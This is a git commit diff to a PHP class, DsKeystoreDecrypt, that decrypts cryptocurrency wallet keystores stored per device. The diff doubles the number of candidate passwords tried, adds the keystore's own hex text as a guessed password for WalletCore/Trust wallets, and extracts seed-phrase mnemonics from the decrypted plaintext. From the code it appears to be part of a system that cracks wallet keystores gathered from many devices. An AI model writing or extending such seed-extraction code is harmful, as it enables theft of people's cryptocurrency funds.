feat: ds
This commit is contained in:
@@ -89,7 +89,7 @@ final class DsKeystoreDecrypt
|
||||
foreach ($device->keystores as $row) {
|
||||
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
|
||||
}
|
||||
$passwords = array_slice($this->uniquePasswords($passwords), 0, 8);
|
||||
$passwords = array_slice($this->uniquePasswords($passwords), 0, 16);
|
||||
if ($passwords === []) {
|
||||
return [];
|
||||
}
|
||||
@@ -318,7 +318,14 @@ final class DsKeystoreDecrypt
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->passwordsFromString($raw);
|
||||
$out = $this->passwordsFromString($raw);
|
||||
// WalletCore / Trust sometimes treat the hex text itself as the password.
|
||||
if (strlen($hex) === 64 || strlen($hex) === 128) {
|
||||
$out[] = strtolower($hex);
|
||||
$out[] = strtoupper($hex);
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -424,6 +431,19 @@ final class DsKeystoreDecrypt
|
||||
|
||||
private function asMnemonic(string $plain): ?string
|
||||
{
|
||||
$plain = trim($plain, "\0 \t\n\r");
|
||||
if (str_starts_with($plain, '{')) {
|
||||
$json = json_decode($plain, true);
|
||||
if (is_array($json) && isset($json['mnemonic']) && is_string($json['mnemonic'])) {
|
||||
$plain = $json['mnemonic'];
|
||||
}
|
||||
}
|
||||
if (preg_match('/^[0-9a-fA-F]+$/', $plain) && strlen($plain) % 2 === 0 && strlen($plain) >= 24) {
|
||||
$bin = @hex2bin($plain);
|
||||
if (is_string($bin) && str_contains($bin, ' ')) {
|
||||
$plain = $bin;
|
||||
}
|
||||
}
|
||||
$text = strtolower(trim($plain));
|
||||
$text = preg_replace('/\s+/', ' ', $text) ?? $text;
|
||||
$words = $text === '' ? [] : explode(' ', $text);
|
||||
|
||||
Reference in New Issue
Block a user